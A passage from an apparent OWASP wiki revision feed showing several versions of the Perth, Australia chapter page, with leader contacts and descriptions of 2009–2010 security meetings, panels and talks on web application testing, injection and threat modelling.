Wade Alcorn has experience in numerous aspects of offensive information security assessments. This ranges from bluetooth, reverse engineering and web application assessments to managing large teams of security professionals. Prior to joining NGS, Wade had been responsible for cutting-edge PKI and VPN development using technologies including C/C++ and Java. He has presented at conferences including BlackHat and AusCERT.&lt;br /&gt;
&lt;br /&gt;
=== Security Event and Incident Management&amp;quot; Panel Session (Perth AISA August 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=301 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
Log management is a necessary task in Security Management, but is often neglected. There are various pressures being placed on businesses, such as audit and compliance, industry standards (eg PCI, APRA), internal security maturity which have allowed organisations to understand the benefits to be gained from undertaking a SEIM project.&lt;br /&gt;
&lt;br /&gt;
There are many options for organisations looking to develop log management and security incident response processes, which range from open source syslog solutions, through to vendor supplied SEIM products and cloud based monitoring solutions.&lt;br /&gt;
&lt;br /&gt;
A panel selected from a variety of industries including representation from security consulting, corporate and vendor will discuss the considerations, options and benefits of employing SEIM technology and processes.&lt;br /&gt;
&lt;br /&gt;
We were fortunate to have Joshua Qwek, one of Perth's OWASP chapter lead, participate in this panel.&lt;br /&gt;
&lt;br /&gt;
=== How mature is your software security process? (Perth AISA May 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=287 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
As the security industry continues to change its focus to application &lt;br /&gt;
security a lot of companies who rely on software, developed either &lt;br /&gt;
internally or externally, are wondering what they can do reduce the risk &lt;br /&gt;
of security flaws. &lt;br /&gt;
&lt;br /&gt;
Microsoft's Security Development Lifecycle (SDL) model can look &lt;br /&gt;
appealing, however without a clear understanding of what your software &lt;br /&gt;
security processes look like, it may be difficult to achieve any real &lt;br /&gt;
improvements. &lt;br /&gt;
&lt;br /&gt;
Implementing a holistic end-to-end software security process can often &lt;br /&gt;
look like an impossible task, and while the end picture resembles Eden, &lt;br /&gt;
it's often the first steps that everyone stumbles on. As the saying goes &lt;br /&gt;
&amp;quot;You can't manage what you can't measure&amp;quot;, and without a clear &lt;br /&gt;
understanding of what your software security processes look like now it's &lt;br /&gt;
unlikely that you can achieve any real improvements. &lt;br /&gt;
&lt;br /&gt;
OWASP's Open Software Assurance Maturity Model, or OpenSAMM, aims &lt;br /&gt;
to assist organisations, both big and small, in evaluating their existing &lt;br /&gt;
software security practices and constructing a measurable, balanced &lt;br /&gt;
program to increase their software security. &lt;br /&gt;
&lt;br /&gt;
Wondering how this can help your internal development processes? Want &lt;br /&gt;
to have a more rigid process to audit your externally developed software &lt;br /&gt;
processes? Then perhaps OWASP's OpenSAMM project can assist.&lt;br /&gt;
&lt;br /&gt;
This meeting will be co-hosted by both the local AISA chapter and the Perth OWASP chapter.&lt;br /&gt;
&lt;br /&gt;
=== Perth OWASP - Perth AISA Technical Day (Dec 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.owasp.org/index.php/File:AISA_Perth_TSD_2009_Brochure_-Final.pdf Brochure] ====&lt;br /&gt;
&lt;br /&gt;
The local OWASP boys will be whipping out their flux capacitor to fit as much information as they possibly can into a 2 hour jam-packed session on web app security testing. By providing a flyby of the OWASP Testing Guide, David and Christian aim to demonstrate and explain how to detect security vulnerabilities in your own web applications, including: Cross Site Scripting; Injection Flaws; Cross Site Request Forgery and Session Management Flaws.&lt;br /&gt;
&lt;br /&gt;
Demonstrations will utilise a number of open source and freely available tools, including OWASP's own WebScarab. To provide a yoga-like flexibility to the session all materials and testing environments (an Ubuntu wrapped VMware virtual machine) will be provided to attendees, allowing you to either chase us rapidly down the rabbit hole of the OWASP Top 10, or to take your own time after the session...&lt;br /&gt;
&lt;br /&gt;
The perfect way to spend a lazy Sunday afternoon.&lt;br /&gt;
&lt;br /&gt;
=== Web-based Malware (Sep 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Shlomi Cohen joined IBM with the Watchfire acquisition at August 2007.&lt;br /&gt;
Over nine years of experience in web application security in both start-ups and established companies. Emphasis in strategic selling, sales consulting, technical sales and management.&lt;br /&gt;
* Leading the Security solution on the WW Rational Tiger sales team&lt;br /&gt;
* Work with the customers and the local sales team to form the right security solution&lt;br /&gt;
* Development of sale process for multiple products&lt;br /&gt;
* Working closely with customers and the product management team in driving the products roadmaps&lt;br /&gt;
* Assisting IBM’s growth in acquisition portfolio&lt;br /&gt;
&lt;br /&gt;
Previous to the WW Rational Security Solution leader:&lt;br /&gt;
* Managing the technical sales team for Watchfire in the Americas group of IBM&lt;br /&gt;
* Watchfire Security Research team manager - A team responsible for various web application security aspects including web application vulnerability research, security product rule updates, enhanced security feature definition, security audits, customer support, marketing and sales assistance&lt;br /&gt;
* AppShield Development Manager - Managed the development and QA teams for the AppShield product - a client Server Web Application Firewall&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Xntrik&amp;diff=97353</id>
		<title>User:Xntrik</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Xntrik&amp;diff=97353"/>
				<updated>2010-12-21T01:56:09Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Christian Frichot&lt;br /&gt;
&lt;br /&gt;
One of the [[Perth_Australia]] OWASP chapter leads.&lt;br /&gt;
&lt;br /&gt;
To learn more about me you can check out http://un-excogitate.org or reach me on [http://twitter.com/xntrik @xntrik] or [mailto:christian.frichot@owasp.org christian.frichot@owasp.org].&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=96790</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=96790"/>
				<updated>2010-12-17T08:02:43Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: Changed meetings.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [http://www.owasp.org/index.php/User:Xntrik Christian Frichot]&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* Timothy Bessant&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming OWASP Events ==&lt;br /&gt;
&lt;br /&gt;
Watch this space!&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== How minor vulnerabilities can do ‘very bad things’ (December 2010) ===&lt;br /&gt;
&lt;br /&gt;
The Perth branch of the Australian Information Security Association is pleased to announce details for the second annual Perth AISA Tech day to be held on the 3rd December. This year we are holding the event in the heart of Perth’s CBD thanks to proud AISA supporters L7 Solutions.&lt;br /&gt;
&lt;br /&gt;
Appearing for their second consecutive year, regular AISA and OWASP members Christian and David are following on from last year’s topic. Last year you will remember that the demonstrated a number of classes of vulnerabilities in web applications (XSS, CSRF, SQL Injection etc.). This year they are going to show how relatively minor vulnerabilities can be exploited and leveraged to do ‘very bad things’ ™ to the client browser, the web server or both. &lt;br /&gt;
&lt;br /&gt;
This session will include demonstrations of the BeEF browser exploitation framework and Metasploit.&lt;br /&gt;
&lt;br /&gt;
=== Web Application (In)Security Brief - Injection (September 2010) ===&lt;br /&gt;
&lt;br /&gt;
Having recently run training sessions on web application security for SyScan'10 and Blackhat, we're lucky enough to have Wade Alcorn from NGS to give a brief presentation on &amp;quot;Exploiting and discovering injection&amp;quot; for September's Perth OWASP Meeting. Come on up to Level 46 of the Bankwest Tower to join us discuss web application security with Wade and others. Please RSVP to ensure appropriate seating arrangements and we're hoping to then shift off to the Generous Squire for a quick beverage afterwards!&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
&lt;br /&gt;
Wade Alcorn has experience in numerous aspects of offensive information security assessments. This ranges from bluetooth, reverse engineering and web application assessments to managing large teams of security professionals. Prior to joining NGS, Wade had been responsible for cutting-edge PKI and VPN development using technologies including C/C++ and Java. He has presented at conferences including BlackHat and AusCERT.&lt;br /&gt;
&lt;br /&gt;
=== Security Event and Incident Management&amp;quot; Panel Session (Perth AISA August 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=301 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
Log management is a necessary task in Security Management, but is often neglected. There are various pressures being placed on businesses, such as audit and compliance, industry standards (eg PCI, APRA), internal security maturity which have allowed organisations to understand the benefits to be gained from undertaking a SEIM project.&lt;br /&gt;
&lt;br /&gt;
There are many options for organisations looking to develop log management and security incident response processes, which range from open source syslog solutions, through to vendor supplied SEIM products and cloud based monitoring solutions.&lt;br /&gt;
&lt;br /&gt;
A panel selected from a variety of industries including representation from security consulting, corporate and vendor will discuss the considerations, options and benefits of employing SEIM technology and processes.&lt;br /&gt;
&lt;br /&gt;
We were fortunate to have Joshua Qwek, one of Perth's OWASP chapter lead, participate in this panel.&lt;br /&gt;
&lt;br /&gt;
=== How mature is your software security process? (Perth AISA May 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=287 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
As the security industry continues to change its focus to application &lt;br /&gt;
security a lot of companies who rely on software, developed either &lt;br /&gt;
internally or externally, are wondering what they can do reduce the risk &lt;br /&gt;
of security flaws. &lt;br /&gt;
&lt;br /&gt;
Microsoft's Security Development Lifecycle (SDL) model can look &lt;br /&gt;
appealing, however without a clear understanding of what your software &lt;br /&gt;
security processes look like, it may be difficult to achieve any real &lt;br /&gt;
improvements. &lt;br /&gt;
&lt;br /&gt;
Implementing a holistic end-to-end software security process can often &lt;br /&gt;
look like an impossible task, and while the end picture resembles Eden, &lt;br /&gt;
it's often the first steps that everyone stumbles on. As the saying goes &lt;br /&gt;
&amp;quot;You can't manage what you can't measure&amp;quot;, and without a clear &lt;br /&gt;
understanding of what your software security processes look like now it's &lt;br /&gt;
unlikely that you can achieve any real improvements. &lt;br /&gt;
&lt;br /&gt;
OWASP's Open Software Assurance Maturity Model, or OpenSAMM, aims &lt;br /&gt;
to assist organisations, both big and small, in evaluating their existing &lt;br /&gt;
software security practices and constructing a measurable, balanced &lt;br /&gt;
program to increase their software security. &lt;br /&gt;
&lt;br /&gt;
Wondering how this can help your internal development processes? Want &lt;br /&gt;
to have a more rigid process to audit your externally developed software &lt;br /&gt;
processes? Then perhaps OWASP's OpenSAMM project can assist.&lt;br /&gt;
&lt;br /&gt;
This meeting will be co-hosted by both the local AISA chapter and the Perth OWASP chapter.&lt;br /&gt;
&lt;br /&gt;
=== Perth OWASP - Perth AISA Technical Day (Dec 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.owasp.org/index.php/File:AISA_Perth_TSD_2009_Brochure_-Final.pdf Brochure] ====&lt;br /&gt;
&lt;br /&gt;
The local OWASP boys will be whipping out their flux capacitor to fit as much information as they possibly can into a 2 hour jam-packed session on web app security testing. By providing a flyby of the OWASP Testing Guide, David and Christian aim to demonstrate and explain how to detect security vulnerabilities in your own web applications, including: Cross Site Scripting; Injection Flaws; Cross Site Request Forgery and Session Management Flaws.&lt;br /&gt;
&lt;br /&gt;
Demonstrations will utilise a number of open source and freely available tools, including OWASP's own WebScarab. To provide a yoga-like flexibility to the session all materials and testing environments (an Ubuntu wrapped VMware virtual machine) will be provided to attendees, allowing you to either chase us rapidly down the rabbit hole of the OWASP Top 10, or to take your own time after the session...&lt;br /&gt;
&lt;br /&gt;
The perfect way to spend a lazy Sunday afternoon.&lt;br /&gt;
&lt;br /&gt;
=== Web-based Malware (Sep 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Shlomi Cohen joined IBM with the Watchfire acquisition at August 2007.&lt;br /&gt;
Over nine years of experience in web application security in both start-ups and established companies. Emphasis in strategic selling, sales consulting, technical sales and management.&lt;br /&gt;
* Leading the Security solution on the WW Rational Tiger sales team&lt;br /&gt;
* Work with the customers and the local sales team to form the right security solution&lt;br /&gt;
* Development of sale process for multiple products&lt;br /&gt;
* Working closely with customers and the product management team in driving the products roadmaps&lt;br /&gt;
* Assisting IBM’s growth in acquisition portfolio&lt;br /&gt;
&lt;br /&gt;
Previous to the WW Rational Security Solution leader:&lt;br /&gt;
* Managing the technical sales team for Watchfire in the Americas group of IBM&lt;br /&gt;
* Watchfire Security Research team manager - A team responsible for various web application security aspects including web application vulnerability research, security product rule updates, enhanced security feature definition, security audits, customer support, marketing and sales assistance&lt;br /&gt;
* AppShield Development Manager - Managed the development and QA teams for the AppShield product - a client Server Web Application Firewall&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=93502</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=93502"/>
				<updated>2010-11-22T06:42:45Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: Shifted Wades presentation into &amp;quot;previous&amp;quot; and posted details on the techday&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [http://www.owasp.org/index.php/User:Xntrik Christian Frichot]&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* Timothy Bessant&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming OWASP Events ==&lt;br /&gt;
&lt;br /&gt;
=== How minor vulnerabilities can do ‘very bad things’ ===&lt;br /&gt;
&lt;br /&gt;
The Perth branch of the Australian Information Security Association is pleased to announce details for the second annual Perth AISA Tech day to be held on the 3rd December. This year we are holding the event in the heart of Perth’s CBD thanks to proud AISA supporters L7 Solutions.&lt;br /&gt;
&lt;br /&gt;
Appearing for their second consecutive year, regular AISA and OWASP members Christian and David are following on from last year’s topic. Last year you will remember that the demonstrated a number of classes of vulnerabilities in web applications (XSS, CSRF, SQL Injection etc.). This year they are going to show how relatively minor vulnerabilities can be exploited and leveraged to do ‘very bad things’ ™ to the client browser, the web server or both. &lt;br /&gt;
&lt;br /&gt;
This session will include demonstrations of the BeEF browser exploitation framework and Metasploit.&lt;br /&gt;
&lt;br /&gt;
 '''Date: Friday the 3rd of December, 2010'''&lt;br /&gt;
 '''Time: 10:30 - 12:30'''&lt;br /&gt;
 '''Location: L7 Solutions, 14th floor, 256 Adelaide Terrace, Perth'''&lt;br /&gt;
 '''More Details: [http://www.aisa.org.au/index.php?page=316 AISA Page]'''&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== Web Application (In)Security Brief - Injection (September 2010) ===&lt;br /&gt;
&lt;br /&gt;
Having recently run training sessions on web application security for SyScan'10 and Blackhat, we're lucky enough to have Wade Alcorn from NGS to give a brief presentation on &amp;quot;Exploiting and discovering injection&amp;quot; for September's Perth OWASP Meeting. Come on up to Level 46 of the Bankwest Tower to join us discuss web application security with Wade and others. Please RSVP to ensure appropriate seating arrangements and we're hoping to then shift off to the Generous Squire for a quick beverage afterwards!&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
&lt;br /&gt;
Wade Alcorn has experience in numerous aspects of offensive information security assessments. This ranges from bluetooth, reverse engineering and web application assessments to managing large teams of security professionals. Prior to joining NGS, Wade had been responsible for cutting-edge PKI and VPN development using technologies including C/C++ and Java. He has presented at conferences including BlackHat and AusCERT.&lt;br /&gt;
&lt;br /&gt;
=== Security Event and Incident Management&amp;quot; Panel Session (Perth AISA August 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=301 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
Log management is a necessary task in Security Management, but is often neglected. There are various pressures being placed on businesses, such as audit and compliance, industry standards (eg PCI, APRA), internal security maturity which have allowed organisations to understand the benefits to be gained from undertaking a SEIM project.&lt;br /&gt;
&lt;br /&gt;
There are many options for organisations looking to develop log management and security incident response processes, which range from open source syslog solutions, through to vendor supplied SEIM products and cloud based monitoring solutions.&lt;br /&gt;
&lt;br /&gt;
A panel selected from a variety of industries including representation from security consulting, corporate and vendor will discuss the considerations, options and benefits of employing SEIM technology and processes.&lt;br /&gt;
&lt;br /&gt;
We were fortunate to have Joshua Qwek, one of Perth's OWASP chapter lead, participate in this panel.&lt;br /&gt;
&lt;br /&gt;
=== How mature is your software security process? (Perth AISA May 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=287 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
As the security industry continues to change its focus to application &lt;br /&gt;
security a lot of companies who rely on software, developed either &lt;br /&gt;
internally or externally, are wondering what they can do reduce the risk &lt;br /&gt;
of security flaws. &lt;br /&gt;
&lt;br /&gt;
Microsoft's Security Development Lifecycle (SDL) model can look &lt;br /&gt;
appealing, however without a clear understanding of what your software &lt;br /&gt;
security processes look like, it may be difficult to achieve any real &lt;br /&gt;
improvements. &lt;br /&gt;
&lt;br /&gt;
Implementing a holistic end-to-end software security process can often &lt;br /&gt;
look like an impossible task, and while the end picture resembles Eden, &lt;br /&gt;
it's often the first steps that everyone stumbles on. As the saying goes &lt;br /&gt;
&amp;quot;You can't manage what you can't measure&amp;quot;, and without a clear &lt;br /&gt;
understanding of what your software security processes look like now it's &lt;br /&gt;
unlikely that you can achieve any real improvements. &lt;br /&gt;
&lt;br /&gt;
OWASP's Open Software Assurance Maturity Model, or OpenSAMM, aims &lt;br /&gt;
to assist organisations, both big and small, in evaluating their existing &lt;br /&gt;
software security practices and constructing a measurable, balanced &lt;br /&gt;
program to increase their software security. &lt;br /&gt;
&lt;br /&gt;
Wondering how this can help your internal development processes? Want &lt;br /&gt;
to have a more rigid process to audit your externally developed software &lt;br /&gt;
processes? Then perhaps OWASP's OpenSAMM project can assist.&lt;br /&gt;
&lt;br /&gt;
This meeting will be co-hosted by both the local AISA chapter and the Perth OWASP chapter.&lt;br /&gt;
&lt;br /&gt;
=== Perth OWASP - Perth AISA Technical Day (Dec 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.owasp.org/index.php/File:AISA_Perth_TSD_2009_Brochure_-Final.pdf Brochure] ====&lt;br /&gt;
&lt;br /&gt;
The local OWASP boys will be whipping out their flux capacitor to fit as much information as they possibly can into a 2 hour jam-packed session on web app security testing. By providing a flyby of the OWASP Testing Guide, David and Christian aim to demonstrate and explain how to detect security vulnerabilities in your own web applications, including: Cross Site Scripting; Injection Flaws; Cross Site Request Forgery and Session Management Flaws.&lt;br /&gt;
&lt;br /&gt;
Demonstrations will utilise a number of open source and freely available tools, including OWASP's own WebScarab. To provide a yoga-like flexibility to the session all materials and testing environments (an Ubuntu wrapped VMware virtual machine) will be provided to attendees, allowing you to either chase us rapidly down the rabbit hole of the OWASP Top 10, or to take your own time after the session...&lt;br /&gt;
&lt;br /&gt;
The perfect way to spend a lazy Sunday afternoon.&lt;br /&gt;
&lt;br /&gt;
=== Web-based Malware (Sep 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Shlomi Cohen joined IBM with the Watchfire acquisition at August 2007.&lt;br /&gt;
Over nine years of experience in web application security in both start-ups and established companies. Emphasis in strategic selling, sales consulting, technical sales and management.&lt;br /&gt;
* Leading the Security solution on the WW Rational Tiger sales team&lt;br /&gt;
* Work with the customers and the local sales team to form the right security solution&lt;br /&gt;
* Development of sale process for multiple products&lt;br /&gt;
* Working closely with customers and the product management team in driving the products roadmaps&lt;br /&gt;
* Assisting IBM’s growth in acquisition portfolio&lt;br /&gt;
&lt;br /&gt;
Previous to the WW Rational Security Solution leader:&lt;br /&gt;
* Managing the technical sales team for Watchfire in the Americas group of IBM&lt;br /&gt;
* Watchfire Security Research team manager - A team responsible for various web application security aspects including web application vulnerability research, security product rule updates, enhanced security feature definition, security audits, customer support, marketing and sales assistance&lt;br /&gt;
* AppShield Development Manager - Managed the development and QA teams for the AppShield product - a client Server Web Application Firewall&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=87908</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=87908"/>
				<updated>2010-08-24T07:55:21Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: pushed the date back 2 weeks.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [http://www.owasp.org/index.php/User:Xntrik Christian Frichot]&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* Timothy Bessant&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming OWASP Events ==&lt;br /&gt;
&lt;br /&gt;
=== Web Application (In)Security Brief - Injection ===&lt;br /&gt;
&lt;br /&gt;
Having recently run training sessions on web application security for SyScan'10 and Blackhat, we're lucky enough to have Wade Alcorn from NGS to give a brief presentation on &amp;quot;Exploiting and discovering injection&amp;quot; for September's Perth OWASP Meeting. Come on up to Level 46 of the Bankwest Tower to join us discuss web application security with Wade and others. Please RSVP to ensure appropriate seating arrangements and we're hoping to then shift off to the Generous Squire for a quick beverage afterwards!&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
&lt;br /&gt;
Wade Alcorn has experience in numerous aspects of offensive information security assessments. This ranges from bluetooth, reverse engineering and web application assessments to managing large teams of security professionals. Prior to joining NGS, Wade had been responsible for cutting-edge PKI and VPN development using technologies including C/C++ and Java. He has presented at conferences including BlackHat and AusCERT.&lt;br /&gt;
&lt;br /&gt;
 '''Date: Thursday 30th of September, 2010'''&lt;br /&gt;
 '''Time: 17:15 sign-in, 17:30 start'''&lt;br /&gt;
 '''Location: Level 46, Bankwest Tower, 108 St Georges Tce, Perth, 6000'''&lt;br /&gt;
 '''RSVP: [mailto:xntrik@gmail.com Christian Frichot]'''&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== Security Event and Incident Management&amp;quot; Panel Session (Perth AISA August 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=301 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
Log management is a necessary task in Security Management, but is often neglected. There are various pressures being placed on businesses, such as audit and compliance, industry standards (eg PCI, APRA), internal security maturity which have allowed organisations to understand the benefits to be gained from undertaking a SEIM project.&lt;br /&gt;
&lt;br /&gt;
There are many options for organisations looking to develop log management and security incident response processes, which range from open source syslog solutions, through to vendor supplied SEIM products and cloud based monitoring solutions.&lt;br /&gt;
&lt;br /&gt;
A panel selected from a variety of industries including representation from security consulting, corporate and vendor will discuss the considerations, options and benefits of employing SEIM technology and processes.&lt;br /&gt;
&lt;br /&gt;
We were fortunate to have Joshua Qwek, one of Perth's OWASP chapter lead, participate in this panel.&lt;br /&gt;
&lt;br /&gt;
=== How mature is your software security process? (Perth AISA May 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=287 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
As the security industry continues to change its focus to application &lt;br /&gt;
security a lot of companies who rely on software, developed either &lt;br /&gt;
internally or externally, are wondering what they can do reduce the risk &lt;br /&gt;
of security flaws. &lt;br /&gt;
&lt;br /&gt;
Microsoft's Security Development Lifecycle (SDL) model can look &lt;br /&gt;
appealing, however without a clear understanding of what your software &lt;br /&gt;
security processes look like, it may be difficult to achieve any real &lt;br /&gt;
improvements. &lt;br /&gt;
&lt;br /&gt;
Implementing a holistic end-to-end software security process can often &lt;br /&gt;
look like an impossible task, and while the end picture resembles Eden, &lt;br /&gt;
it's often the first steps that everyone stumbles on. As the saying goes &lt;br /&gt;
&amp;quot;You can't manage what you can't measure&amp;quot;, and without a clear &lt;br /&gt;
understanding of what your software security processes look like now it's &lt;br /&gt;
unlikely that you can achieve any real improvements. &lt;br /&gt;
&lt;br /&gt;
OWASP's Open Software Assurance Maturity Model, or OpenSAMM, aims &lt;br /&gt;
to assist organisations, both big and small, in evaluating their existing &lt;br /&gt;
software security practices and constructing a measurable, balanced &lt;br /&gt;
program to increase their software security. &lt;br /&gt;
&lt;br /&gt;
Wondering how this can help your internal development processes? Want &lt;br /&gt;
to have a more rigid process to audit your externally developed software &lt;br /&gt;
processes? Then perhaps OWASP's OpenSAMM project can assist.&lt;br /&gt;
&lt;br /&gt;
This meeting will be co-hosted by both the local AISA chapter and the Perth OWASP chapter.&lt;br /&gt;
&lt;br /&gt;
=== Perth OWASP - Perth AISA Technical Day (Dec 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.owasp.org/index.php/File:AISA_Perth_TSD_2009_Brochure_-Final.pdf Brochure] ====&lt;br /&gt;
&lt;br /&gt;
The local OWASP boys will be whipping out their flux capacitor to fit as much information as they possibly can into a 2 hour jam-packed session on web app security testing. By providing a flyby of the OWASP Testing Guide, David and Christian aim to demonstrate and explain how to detect security vulnerabilities in your own web applications, including: Cross Site Scripting; Injection Flaws; Cross Site Request Forgery and Session Management Flaws.&lt;br /&gt;
&lt;br /&gt;
